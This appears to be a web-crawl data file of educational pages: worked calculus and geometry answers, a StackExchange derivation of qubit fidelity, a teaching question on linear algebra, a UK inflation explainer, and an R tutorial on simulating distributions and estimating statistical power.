We can split the volume into parts, starting with the tip of the parabola. This volume can be calculated by considering infinitesimally thin horizontal discs of radius x+4 and thickness dy, volume π(x+4)^2dy, between limits [-1 to 1]. Since y=5x^2, dy=10xdx. Thus we arrive at V=10π∫(x(x+4)^2dx) = 10π∫((x^3+8x^2+16x)dx) = 10π[x^4/4+8x^3/3+8x^2] for -1≤x≤1 = 10π(1/4-1/4+8/3-(-8/3)+8-8)=160π/3.
For the remaining part of the volume for -1.6≤x≤-1 we subtract the inner volume created by the parabola from the outer volume created by the straight line (frustum). Vi (inner volume)=10π[x^4/4+8x^3/3+8x^2] for -1.6≤x≤-1=10π(11.1957-5.5833)=56.124π=176.3187. Vo (outer volume)=π∫(x+4)^2dy. Since y=8-3x, dy=-3dx so Vo=-3π∫((x+4)^2dx)=-3π∫((x^2+8x+16)dx) for -1.6≤x≤1. Vo=-3π[x^3/3+4x^2+16x] for -1.6≤x≤1=111.176π. Vo-Vi=(111.176-56.124)π = 55.052π = 172.95 approx.
(The volume of a frustum (truncated cone) is (1/3)π(R^2H-r^2h) where R is the base radius and r the top radius, H is the height of the complete cone and h the height of its tip (which is removed). H=20-5=15 because the line meets x=-4 at y=20 (-12+y=8) and h=20-12.8=7.2. R=5 and r=-1.6-(-4)=2.4. So the volume of the frustum is (1/3)π(25*15-5.76*7.2)=13897π/125=111.176π=349.2697 approx. This is also the calculated value of Vo using calculus.)
Combining this with the volume of the tip we get (55.052+160/3)π=108.3853π=340.50 cu units approx.
by Top Rated User (711k points)
reshown by
1 answer
1 answer
1 answer
1 answer
1 answer
0 answers
0 answers
1 answer
1 answer
0 answers | 756 | 1,961 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.125 | 4 | CC-MAIN-2019-51 | longest | en | 0.748086 |
https://quantumcomputing.stackexchange.com/questions/6443/quantum-fidelity-simplified-formula-while-both-of-the-density-matrices-are-singl/6453 | 1,580,286,967,000,000,000 | text/html | crawl-data/CC-MAIN-2020-05/segments/1579251789055.93/warc/CC-MAIN-20200129071944-20200129101944-00306.warc.gz | 604,742,381 | 30,921 | # Quantum fidelity simplified formula while both of the density matrices are single qubit states
I have a question while reading the quantum fidelity definition in Wikipedia Fidelity of quantum states, at the end of the Definition section of quantum fidelity formula, it says Explicit expression for qubits. If rho and sigma are both qubit states, the fidelity can be computed as: $$F(\rho, \sigma)=\operatorname{tr}(\rho \sigma)+2 \sqrt{\operatorname{det}(\rho) \operatorname{det}(\sigma)}$$ So I'm really confused about where this formula comes from. I tested several simple examples, it seems that the formula is not suitable to calculate the fidelity between two mixed states while the dimensions of the density matrices are not $$2\times2$$ (e.g. for the case both of the two matrices are diag(0.5,0,0,0.5), the fidelity calculated by this formula is 0.5 not 1.
However, if one of the density matrices is in pure state, it seems the result now is always correct even though the dimensions of the density matrices are bigger than $$2\times2$$.
I'm wondering how to prove this formula and is it always safe to use it while one of the density matrices is in pure state...
Thanks in advance!
## 1 Answer
The general expression for the fidelity is $$F(\rho,\sigma)=\left(\text{Tr}\sqrt{\sqrt{\rho}\sigma\sqrt{\rho}}\right)^2=(\text{Tr}|\sqrt{\rho\sigma}|)^2.$$ Assume $$\rho$$ and $$\sigma$$ are $$2\times 2$$ matrices. Then $$\sqrt{\rho\sigma}$$ is also a $$2\times 2$$ matrix which we assume to have eigenvalues $$\lambda_1$$ and $$\lambda_2$$. Thus, $$F=(|\lambda_1|+|\lambda_2|)^2=\lambda_1^2+\lambda_2^2+2|\lambda_1\lambda_2|.$$
However, we also have that $$\text{Tr}(\rho\sigma)=\lambda_1^2+\lambda_2^2$$ and $$\text{det}(\rho\sigma)=\lambda_1^2\lambda_2^2,$$ so $$\sqrt{\text{det}(\rho\sigma)}=|\lambda_1\lambda_2|$$. So, that proves the relation specifically for $$2\times 2$$ matrices. As you stated, it generally does not hold for larger matrices.
In the special case of $$\rho$$ being pure, it does hold, but it's far easier simply to calculate $$F=\langle\psi|\sigma|\psi\rangle=\text{Tr}(\rho\sigma)$$.
• Thank you very much!! btw, should the square of the fidelity (the first formula of the answer F=Tr()^2) here be outside the trace (like (Tr())^2)? and another question that I'm not very clear is, is it always necessary to apply the absolute value to the density operator (Tr(|sqrt(sigma*rho)|)^2)? it seems the absolute value of the operator is calculated as: |A|=sqrt(A^(dagger) A ) as shown in the "Fidelity of quantum states" page of Wikipedia. – Yaoling Yang Jun 14 '19 at 9:47
• Yes, the square is applied to the whole trace (otherwise it would remove the square root in some of the expressions). I would advise leaving the absolute value calculating in there (or replacing it with an equivalent expression). It might be that you can introduce additional properties that let you remove it, but I don't know that you can. – DaftWullie Jun 14 '19 at 9:54 | 812 | 2,984 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 18, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.53125 | 4 | CC-MAIN-2020-05 | latest | en | 0.859327 |
https://matheducators.stackexchange.com/questions/5896/how-should-i-teach-linear-algebra-and-vector-geometry-together-at-high-school | 1,716,817,857,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971059040.32/warc/CC-MAIN-20240527113621-20240527143621-00183.warc.gz | 330,134,975 | 39,285 | # How should I teach linear algebra and vector geometry together at high school?
I'm teaching mathematics at my former high school and the next topic will be vector geometry. When I attended high school, I was only taught vector geometry and never learnt anything about matrices until university. I feel like my pupils would be missing out on something if I didn't teach them very basic linear algebra and I also have the permission to teach linear algebra.
There are two possibilites: Treat vector geometry and linear algebra as two "different" topics (i.e. with other topics in between, such as integration, probability, etc.) or merge the two.
I experienced the "merged" variant in university, but obviously following that course wouldn't make any sense for high schoolers. However, as I didn't learn linear algebra in high school, I don't really know how I should merge the material I already have from my time in school with new linear algebra. Whenever I try to come up with a plan, I end up putting all of vector geometry (scalar product, vector product, intersection problems) before and linear algebra (matrices, Gauss elimination, determinants, eigenvalues) after.
Do you have a suggestion, how I could teach the two topics in a comprehensive "linear algebra" course for high schoolers?
• What is the length of time you have to cover this material? If you are going to teach matrices, I'd spend a lot of time on the different ways to interpret matrix multiplication. Most students only learn that each entry is a dot product of a row and a column (worse, they often are only aware of the equivalent formula and have no understanding of where it comes from). Knowing that $A\vec{x}$ is both a linear combination of the columns of $A$ and the vector whose components are the dot products of rows of $A$ and $\vec{x}$ is really crucial to understanding everything else in linear algebra. Nov 21, 2014 at 14:55
• I have rougly 60 lessons, 45 minutes each. I can use a bit more but not too much.
– Huy
Nov 21, 2014 at 19:42
• It seems like you should tell us what experience level the kids are and also what ability they are. That will influence how the course is designed. Nov 29, 2018 at 19:35
• You say you have 60 lessons but then "next topic is vector calculus". So it's not clear really how much time is really available. FWIW, I think high school vector manipulation can be done in well under 60 classes. My advice would be to do separate special topics. I think merging will make too much of a new new entity and make it too hard. Also, there are uses of each concept without the merging. Nov 29, 2018 at 19:38 | 592 | 2,628 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2024-22 | latest | en | 0.971151 |
http://www.jiskha.com/display.cgi?id=1363203376 | 1,496,071,725,000,000,000 | text/html | crawl-data/CC-MAIN-2017-22/segments/1495463612399.20/warc/CC-MAIN-20170529145935-20170529165935-00468.warc.gz | 675,507,955 | 4,027 | # Pre-Algebra
posted by on .
For numbers 1–3, find the indicated measurement of the figure described. Use 3.14 for (pi) and round to the nearest whole number.
1) Find the surface area of a sphere with a radius of 8 cm.
a. 268 cm2
b. 804 cm2
c. 2,144 cm2
d. 201 cm2
2) Find the surface area of a sphere with a radius of 12 m.
a. 1,809 m2
b. 452 m2
c. 7,235 m2
d. 603 m2
3) Find the volume of a sphere with a radius of 4 ft.
a. 33 ft3
b. 67 ft3
c. 268 ft3
d. 804 ft3
1) d
2) a
3) c
• Pre-Algebra - ,
Why nobody wants to help me just check my answer and there if some of the answers are wrong then tell me the right ones !!! !!!!!!!!!!!! :-( :
• Pre-Algebra - ,
1 is wrong.
The other two are correct.
• Pre-Algebra - ,
• Pre-Algebra - ,
OK, Thank You So Much For Understanding! :-) | 271 | 795 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.203125 | 3 | CC-MAIN-2017-22 | latest | en | 0.737469 |
http://www.in2013dollars.com/UK-inflation-rate-in-1988 | 1,563,641,652,000,000,000 | text/html | crawl-data/CC-MAIN-2019-30/segments/1563195526536.46/warc/CC-MAIN-20190720153215-20190720175215-00411.warc.gz | 217,944,554 | 11,314 | £
# UK inflation rate in 1988: 4.90%
### Inflation in 1988 and Its Effect on Pound Value
Purchasing power decreased by 4.90% in 1988 compared to 1987. On average, you would have to spend 4.90% more money in 1988 than in 1987 for the same item.
In other words, £1 in 1987 is equivalent in purchasing power to about £1.05 in 1988.
The 1987 inflation rate was 4.17%. The inflation rate in 1988 was 4.90%. The 1988 inflation rate is higher compared to the average inflation rate of 3.21% per year between 1988 and 2019.
Inflation rate is calculated by change in the composite price index (CPI). The CPI in 1988 was 421.70. It was 402.00 in the previous year, 1987. The difference in CPI between the years is used by the Office for National Statistics to officially determine inflation.
Average inflation rate 4.90% Converted amount (£1 base) £1.05 Price difference (£1 base) £0.05 CPI in 1987 402.000 CPI in 1988 421.700 Inflation in 1987 4.17% Inflation in 1988 4.90%
### How to Calculate Inflation Rate for £1, 1987 to 1988
This inflation calculator uses the following inflation rate formula:
CPI in 1988CPI in 1987
×
1987 GBP value
=
1988 GBP value
Then plug in historical CPI values. The UK CPI was 402 in the year 1987 and 421.7 in 1988:
421.7402
×
£1
=
£1.05
£1 in 1987 has the same "purchasing power" or "buying power" as £1.05 in 1988.
To get the total inflation rate for the 1 years between 1987 and 1988, we use the following formula:
CPI in 1988 - CPI in 1987CPI in 1987
×
100
=
Cumulative inflation rate (1 years)
Plugging in the values to this equation, we get:
421.7 - 402402
×
100
=
5%
Politics and news often influence economic performance. Here's what was happening at the time:
• New Zealand becomes the only nation to legislate against nuclear power, when their Labour government legislates against nuclear weapons and nuclear powered vessels.
• Margaret Thatcher becomes the first British PM in 160 years to win a third consecutive term in office.
• The Dow Jones stock index falls by 508.32 points, the event is later known as Black Monday.
### Data Source & Citation
Raw data for these calculations comes from the composite price index published by the UK Office for National Statistics (ONS). A composite index is created by combining price data from several different published sources, both official and unofficial. The Consumer Price Index, normally used to compute inflation, has only been tracked since 1988. All inflation calculations after 1988 use the Office for National Statistics' Consumer Price Index, except for 2017, which is based on The Bank of England's forecast.
You may use the following MLA citation for this page: “Inflation Rate in 1988 | UK Inflation Calculator.” U.S. Official Inflation Data, Alioth Finance, 20 Jul. 2019, https://www.officialdata.org/UK-inflation-rate-in-1988. | 764 | 2,844 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2019-30 | longest | en | 0.939633 |
https://psyteachr.github.io/msc-data-skills/sim.html | 1,590,667,100,000,000,000 | text/html | crawl-data/CC-MAIN-2020-24/segments/1590347396089.30/warc/CC-MAIN-20200528104652-20200528134652-00037.warc.gz | 528,735,447 | 30,076 | # Chapter 8 Probability & Simulation
## 8.1 Learning Objectives
### 8.1.1 Basic
1. Understand what types of data are best modeled by different distributions
2. Generate and plot data randomly sampled from the above distributions
3. Test sampled distributions against a null hypothesis
4. Define the following statistical terms:
5. Calculate power using iteration and a sampling function
### 8.1.2 Intermediate
1. Generate 3+ variables from a multivariate normal distribution and plot them
### 8.1.3 Advanced
1. Calculate the minimum sample size for a specific power level and design
## 8.3 Distributions
Simulating data is a very powerful way to test your understanding of statistical concepts. We are going to use simulations to learn the basics of probability.
``````# libraries needed for these examples
library(tidyverse)
library(MASS)
set.seed(8675309) # makes sure random numbers are reproducible``````
### 8.3.1 Uniform Distribution
The uniform distribution is the simplest distribution. All numbers in the range have an equal probability of being sampled.
Take a minute to think of things in your own research that are uniformly distributed.
#### 8.3.1.1 Sample continuous distribution
`runif(n, min=0, max=1)`
Use `runif()` to sample from a continuous uniform distribution.
``````u <- runif(100000, min = 0, max = 1)
# plot to visualise
ggplot() +
geom_histogram(aes(u), binwidth = 0.05, boundary = 0,
fill = "white", colour = "black")``````
#### 8.3.1.2 Sample discrete distribution
`sample(x, size, replace = FALSE, prob = NULL)`
Use `sample()` to sample from a discrete distribution.
You can use `sample()` to simulate events like rolling dice or choosing from a deck of cards. The code below simulates rolling a 6-sided die 10000 times. We set `replace` to `TRUE` so that each event is independent. See what happens if you set `replace` to `FALSE`.
``````rolls <- sample(1:6, 10000, replace = TRUE)
# plot the results
ggplot() +
geom_histogram(aes(rolls), binwidth = 1,
fill = "white", color = "black")``````
You can also use sample to sample from a list of named outcomes.
``````pet_types <- c("cat", "dog", "ferret", "bird", "fish")
sample(pet_types, 10, replace = TRUE)``````
``````## [1] "ferret" "bird" "cat" "dog" "ferret" "cat" "ferret" "ferret"
## [9] "ferret" "fish"``````
Ferrets are a much less common pet than cats and dogs, so our sample isn't very realistic. You can set the probabilities of each item in the list with the `prob` argument.
``````pet_types <- c("cat", "dog", "ferret", "bird", "fish")
pet_prob <- c(0.3, 0.4, 0.1, 0.1, 0.1)
sample(pet_types, 10, replace = TRUE, prob = pet_prob)``````
``````## [1] "ferret" "dog" "ferret" "bird" "dog" "bird" "cat" "ferret"
## [9] "dog" "dog"``````
### 8.3.2 Binomial Distribution
The binomial distribution is useful for modeling binary data, where each observation can have one of two outcomes, like success/failure, yes/no or head/tails.
#### 8.3.2.1 Sample distribution
`rbinom(n, size, prob)`
The `rbinom` function will generate a random binomial distribution.
• `n` = number of observations
• `size` = number of trials
• `prob` = probability of success on each trial
Coin flips are a typical example of a binomial distribution, where we can assign heads to 1 and tails to 0.
``````# 20 individual coin flips of a fair coin
rbinom(20, 1, 0.5)``````
``## [1] 0 1 1 1 0 0 1 0 0 0 0 1 1 1 0 0 1 1 0 1``
``````# 20 individual coin flips of a baised (0.75) coin
rbinom(20, 1, 0.75)``````
``## [1] 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 0 1 0 1 1``
You can generate the total number of heads in 1 set of 20 coin flips by setting `size` to 20 and `n` to 1.
``rbinom(1, 20, 0.75)``
``## [1] 18``
You can generate more sets of 20 coin flips by increasing the `n`.
``rbinom(10, 20, 0.5)``
``## [1] 9 7 11 9 9 9 13 11 10 10``
You should always check your randomly generated data to check that it makes sense. For large samples, it's easiest to do that graphically. A histogram is usually the best choice for plotting binomial data.
``````flips <- rbinom(1000, 20, 0.5)
ggplot() +
geom_histogram(
aes(flips),
binwidth = 1,
fill = "white",
color = "black"
)``````
Run the simulation above several times, noting how the histogram changes. Try changing the values of `n`, `size`, and `prob`.
#### 8.3.2.2 Exact binomial test
`binom.test(x, n, p)`
You can test a binomial distribution against a specific probability using the exact binomial test.
• `x` = the number of successes
• `n` = the number of trials
• `p` = hypothesised probability of success
Here we can test a series of 10 coin flips from a fair coin and a biased coin against the hypothesised probability of 0.5 (even odds).
``````n <- 10
fair_coin <- rbinom(1, n, 0.5)
biased_coin <- rbinom(1, n, 0.6)
binom.test(fair_coin, n, p = 0.5)
binom.test(biased_coin, n, p = 0.5)``````
``````##
## Exact binomial test
##
## data: fair_coin and n
## number of successes = 5, number of trials = 10, p-value = 1
## alternative hypothesis: true probability of success is not equal to 0.5
## 95 percent confidence interval:
## 0.187086 0.812914
## sample estimates:
## probability of success
## 0.5
##
##
## Exact binomial test
##
## data: biased_coin and n
## number of successes = 4, number of trials = 10, p-value = 0.7539
## alternative hypothesis: true probability of success is not equal to 0.5
## 95 percent confidence interval:
## 0.1215523 0.7376219
## sample estimates:
## probability of success
## 0.4``````
Run the code above several times, noting the p-values for the fair and biased coins. Alternatively, you can simulate coin flips online and build up a graph of results and p-values.
• How does the p-value vary for the fair and biased coins?
• What happens to the confidence intervals if you increase n from 10 to 100?
• What criterion would you use to tell if the observed data indicate the coin is fair or biased?
• How often do you conclude the fair coin is biased (false positives)?
• How often do you conclude the biased coin is fair (false negatives)?
#### 8.3.2.3 Statistical terms
The effect is some measure of your data. This will depend on the type of data you have and the type of statistical test you are using. For example, if you flipped a coin 100 times and it landed heads 66 times, the effect would be 66/100. You can then use the exact binomial test to compare this effect to the null effect you would expect from a fair coin (50/100) or to any other effect you choose. The effect size refers to the difference between the effect in your data and the null effect (usually a chance value).
{#p-value} The p-value of a test is the probability of seeing an effect at least as extreme as what you have, if the real effect was the value you are testing against (e.g., a null effect). So if you used a binomial test to test against a chance probability of 1/6 (e.g., the probability of rolling 1 with a 6-sided die), then a p-value of 0.17 means that you could expect to see effects at least as extreme as your data 17% of the time just by chance alone.
{#alpha} If you are using null hypothesis significance testing (NHST), then you need to decide on a cutoff value (alpha) for making a decision to reject the null hypothesis. We call p-values below the alpha cutoff significant. In psychology, alpha is traditionally set at 0.05, but there are good arguments for setting a different criterion in some circumstances.
{#false-pos}{#false-neg} The probability that a test concludes there is an effect when there is really no effect (e.g., concludes a fair coin is biased) is called the false positive rate (or Type I Error Rate). The alpha is the false positive rate we accept for a test. The probability that a test concludes there is no effect when there really is one (e.g., concludes a biased coin is fair) is called the false negative rate (or Type II Error Rate). The beta is the false negative rate we accept for a test.
The false positive rate is not the overall probability of getting a false positive, but the probability of a false positive under the null hypothesis. Similarly, the false negative rate is the probability of a false negative under the alternative hypothesis. Unless we know the probability that we are testing a null effect, we can't say anything about the overall probability of false positives or negatives. If 100% of the hypotheses we test are false, then all significant effects are false positives, but if all of the hypotheses we test are true, then all of the positives are true positives and the overall false positive rate is 0.
{#power}{#sesoi} Power is equal to 1 minus beta (i.e., the true positive rate), and depends on the effect size, how many samples we take (n), and what we set alpha to. For any test, if you specify all but one of these values, you can calculate the last. The effect size you use in power calculations should be the smallest effect size of interest (SESOI). See (Lakens, Scheel, and Isager 2018)(https://doi.org/10.1177/2515245918770963) for a tutorial on methods for choosing an SESOI.
Let's say you want to be able to detect at least a 15% difference from chance (50%) in a coin's fairness, and you want your test to have a 5% chance of false positives and a 10% chance of false negatives. What are the following values?
• alpha =
• beta =
• false positive rate =
• false negative rate =
• power =
• SESOI =
{#conf-int} The confidence interval is a range around some value (such as a mean) that has some probability (usually 95%, but you can calculate CIs for any percentage) of containing the parameter, if you repeated the process many times.
A 95% CI does not mean that there is a 95% probability that the true mean lies within this range, but that, if you repeated the study many times and calculated the CI this same way every time, you'd expect the true mean to be inside the CI in 95% of the studies. This seems like a subtle distinction, but can lead to some misunderstandings. See (Morey et al. 2016)(https://link.springer.com/article/10.3758/s13423-015-0947-8) for more detailed discussion.
#### 8.3.2.4 Sampling function
To estimate these rates, we need to repeat the sampling above many times. A function is ideal for repeating the exact same procedure over and over. Set the arguments of the function to variables that you might want to change. Here, we will want to estimate power for:
• different sample sizes (`n`)
• different effects (`bias`)
• different hypothesised probabilities (`p`, defaults to 0.5)
``````sim_binom_test <- function(n, bias, p = 0.5) {
# simulate 1 coin flip n times with the specified bias
coin <- rbinom(1, n, bias)
# run a binomial test on the simulated data for the specified p
btest <- binom.test(coin, n, p)
# returun the p-value of this test
btest\$p.value
}``````
Once you've created your function, test it a few times, changing the values.
``sim_binom_test(100, 0.6)``
``## [1] 0.9204108``
#### 8.3.2.5 Calculate power
Then you can use the `replicate()` function to run it many times and save all the output values. You can calculate the power of your analysis by checking the proportion of your simulated analyses that have a p-value less than your alpha (the probability of rejecting the null hypothesis when the null hypothesis is true).
``````my_reps <- replicate(1e4, sim_binom_test(100, 0.6))
alpha <- 0.05 # this does not always have to be 0.05
mean(my_reps < alpha)``````
``## [1] 0.4663``
`1e4` is just scientific notation for a 1 followed by 4 zeros (`10000`). When you're running simulations, you usually want to run a lot of them. It's a pain to keep track of whether you've typed 5 or 6 zeros (100000 vs 1000000) and this will change your running time by an order of magnitude.
### 8.3.3 Normal Distribution
#### 8.3.3.1 Sample distribution
`rnorm(n, mean, sd)`
We can simulate a normal distribution of size `n` if we know the `mean` and standard deviation (`sd`). A density plot is usually the best way to visualise this type of data if your `n` is large.
``````dv <- rnorm(1e5, 10, 2)
# proportions of normally-distributed data
# within 1, 2, or 3 SD of the mean
sd1 <- .6827
sd2 <- .9545
sd3 <- .9973
ggplot() +
geom_density(aes(dv), fill = "white") +
geom_vline(xintercept = mean(dv), color = "red") +
geom_vline(xintercept = quantile(dv, .5 - sd1/2), color = "darkgreen") +
geom_vline(xintercept = quantile(dv, .5 + sd1/2), color = "darkgreen") +
geom_vline(xintercept = quantile(dv, .5 - sd2/2), color = "blue") +
geom_vline(xintercept = quantile(dv, .5 + sd2/2), color = "blue") +
geom_vline(xintercept = quantile(dv, .5 - sd3/2), color = "purple") +
geom_vline(xintercept = quantile(dv, .5 + sd3/2), color = "purple") +
scale_x_continuous(
limits = c(0,20),
breaks = seq(0,20)
)``````
Run the simulation above several times, noting how the density plot changes. What do the vertical lines represent? Try changing the values of `n`, `mean`, and `sd`.
#### 8.3.3.2 T-test
`t.test(x, y, alternative, mu, paired)`
Use a t-test to compare the mean of one distribution to a null hypothesis (one-sample t-test), compare the means of two samples (independent-samples t-test), or compare pairs of values (paired-samples t-test).
You can run a one-sample t-test comparing the mean of your data to `mu`. Here is a simulated distribution with a mean of 0.5 and an SD of 1, creating an effect size of 0.5 SD when tested against a `mu` of 0. Run the simulation a few times to see how often the t-test returns a significant p-value (or run it in the shiny app).
``````sim_norm <- rnorm(100, 0.5, 1)
t.test(sim_norm, mu = 0)``````
``````##
## One Sample t-test
##
## data: sim_norm
## t = 4.988, df = 99, p-value = 2.608e-06
## alternative hypothesis: true mean is not equal to 0
## 95 percent confidence interval:
## 0.3087384 0.7166283
## sample estimates:
## mean of x
## 0.5126833``````
Run an independent-samples t-test by comparing two lists of values.
``````a <- rnorm(100, 0.5, 1)
b <- rnorm(100, 0.7, 1)
t_ind <- t.test(a, b, paired = FALSE)
t_ind``````
``````##
## Welch Two Sample t-test
##
## data: a and b
## t = -2.9732, df = 193.23, p-value = 0.003323
## alternative hypothesis: true difference in means is not equal to 0
## 95 percent confidence interval:
## -0.6300477 -0.1275070
## sample estimates:
## mean of x mean of y
## 0.3850962 0.7638735``````
The `paired` argument defaults to `FALSE`, but it's good practice to always explicitly set it so you are never confused about what type of test you are performing.
#### 8.3.3.3 Sampling function
We can use the `names()` function to find out the names of all the t.test parameters and use this to just get one type of data, like the test statistic (e.g., t-value).
``````names(t_ind)
t_ind\$statistic``````
``````## [1] "statistic" "parameter" "p.value" "conf.int" "estimate"
## [6] "null.value" "alternative" "method" "data.name"
## t
## -2.973168``````
Alternatively, use `broom::tidy()` to convert the output into a tidy table.
``broom::tidy(t_ind)``
``````## # A tibble: 1 x 10
## estimate estimate1 estimate2 statistic p.value parameter conf.low conf.high
## <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
## 1 -0.379 0.385 0.764 -2.97 0.00332 193. -0.630 -0.128
## # … with 2 more variables: method <chr>, alternative <chr>``````
If you want to run the simulation many times and record information each time, first you need to turn your simulation into a function.
``````sim_t_ind <- function(n, m1, sd1, m2, sd2) {
# simulate v1
v1 <- rnorm(n, m1, sd1)
#simulate v2
v2 <- rnorm(n, m2, sd2)
# compare using an independent samples t-test
t_ind <- t.test(v1, v2, paired = FALSE)
# return the p-value
return(t_ind\$p.value)
}``````
Run it a few times to check that it gives you sensible values.
``sim_t_ind(100, 0.7, 1, 0.5, 1)``
``## [1] 0.08335778``
Now replicate the simulation 1000 times.
``````my_reps <- replicate(1e4, sim_t_ind(100, 0.7, 1, 0.5, 1))
alpha <- 0.05
power <- mean(my_reps < alpha)
power``````
``## [1] 0.2959``
Run the code above several times. How much does the power value fluctuate? How many replications do you need to run to get a reliable estimate of power?
Compare your power estimate from simluation to a power calculation using `power.t.test()`. Here, `delta` is the difference between `m1` and `m2` above.
``power.t.test(n = 100, delta = 0.2, sd = 1, sig.level = alpha, type = "two.sample")``
``````##
## Two-sample t test power calculation
##
## n = 100
## delta = 0.2
## sd = 1
## sig.level = 0.05
## power = 0.2902664
## alternative = two.sided
##
## NOTE: n is number in *each* group``````
You can plot the distribution of p-values.
``````ggplot() +
geom_histogram(
aes(my_reps),
binwidth = 0.05,
boundary = 0,
fill = "white",
color = "black"
)``````
What do you think the distribution of p-values is when there is no effect (i.e., the means are identical)? Check this yourself.
Make sure the `boundary` argument is set to `0` for p-value histograms. See what happens with a null effect if `boundary` is not set.
### 8.3.4 Bivariate Normal
#### 8.3.4.1 Correlation
You can test if two continuous variables are related to each other using the `cor()` function.
Below is one way to generate two correlated variables: `a` is drawn from a normal distribution, while `x` and `y` the sum of and another value drawn from a random normal distribution. We'll learn later how to generate specific correlations in simulated data.
``````n <- 100 # number of random samples
a <- rnorm(n, 0, 1)
x <- a + rnorm(n, 0, 1)
y <- a + rnorm(n, 0, 1)
cor(x, y)``````
``## [1] 0.3525645``
Set `n` to a large number like 1e6 so that the correlations are less affected by chance. Change the value of the mean for `a`, `x`, or `y`. Does it change the correlation between `x` and `y`? What happens when you increase or decrease the sd for `a`? Can you work out any rules here?
`cor()` defaults to Pearson's correlations. Set the `method` argument to use Kendall or Spearman correlations.
``cor(x, y, method = "spearman")``
``## [1] 0.3062106``
#### 8.3.4.2 Sample distribution
What if we want to sample from a population with specific relationships between variables? We can sample from a bivariate normal distribution using `mvrnorm()` from the `MASS` package.
``````n <- 1000 # number of random samples
rho <- 0.5 # population correlation between the two variables
mu <- c(10, 20) # the means of the samples
stdevs <- c(5, 6) # the SDs of the samples
# correlation matrix
cor_mat <- matrix(c( 1, rho,
rho, 1), 2)
# create the covariance matrix
sigma <- (stdevs %*% t(stdevs)) * cor_mat
# sample from bivariate normal distribution
bvn <- MASS::mvrnorm(n, mu, sigma)
cor(bvn) # check correlation matrix``````
``````## [,1] [,2]
## [1,] 1.000000 0.539311
## [2,] 0.539311 1.000000``````
Plot your sampled variables to check everything worked like you expect. It's easiest to convert the output of `mvnorm` into a tibble in order to use it in ggplot.
``````bvn %>%
as_tibble() %>%
ggplot(aes(V1, V2)) +
geom_point(alpha = 0.5) +
geom_smooth(method = "lm") +
geom_density2d()``````
``````## Warning: `as_tibble.matrix()` requires a matrix with column names or a `.name_repair` argument. Using compatibility `.name_repair`.
## This warning is displayed once per session.``````
### 8.3.5 Multivariate Normal
You can generate more than 2 correlated variables, but it gets a little trickier to create the correlation matrix.
#### 8.3.5.1 Sample distribution
``````n <- 200 # number of random samples
rho1_2 <- 0.5 # correlation betwen v1 and v2
rho1_3 <- 0 # correlation betwen v1 and v3
rho2_3 <- 0.7 # correlation betwen v2 and v3
mu <- c(10, 20, 30) # the means of the samples
stdevs <- c(8, 9, 10) # the SDs of the samples
# correlation matrix
cor_mat <- matrix(c( 1, rho1_2, rho1_3,
rho1_2, 1, rho2_3,
rho1_3, rho2_3, 1), 3)
sigma <- (stdevs %*% t(stdevs)) * cor_mat
bvn3 <- MASS::mvrnorm(n, mu, sigma)
cor(bvn3) # check correlation matrix``````
``````## [,1] [,2] [,3]
## [1,] 1.00000000 0.526778 0.04238033
## [2,] 0.52677804 1.000000 0.73857497
## [3,] 0.04238033 0.738575 1.00000000``````
Alternatively, you can use the (in-development) package faux to generate any number of correlated variables. It also allows to to easily name the variables and has a function for checking the parameters of your new simulated data (`check_sim_stats()`).
``````#devtools::install_github("debruine/faux")
library(faux)``````
``````##
## ************
## Welcome to faux. For support and examples visit:
## http://debruine.github.io/faux/
## - Get and set global package options with: faux_options()
## ************``````
``````bvn3 <- faux::rnorm_multi(
n = n,
vars = 3,
mu = mu,
sd = stdevs,
r = c(rho1_2, rho1_3, rho2_3),
varnames = c("A", "B", "C")
)
faux::check_sim_stats(bvn3)``````
``````## Warning: All elements of `...` must be named.
## Did you want `multisim_data = c(A, B, C)`?``````
``````## # A tibble: 3 x 7
## n var A B C mean sd
## <dbl> <chr> <dbl> <dbl> <dbl> <dbl> <dbl>
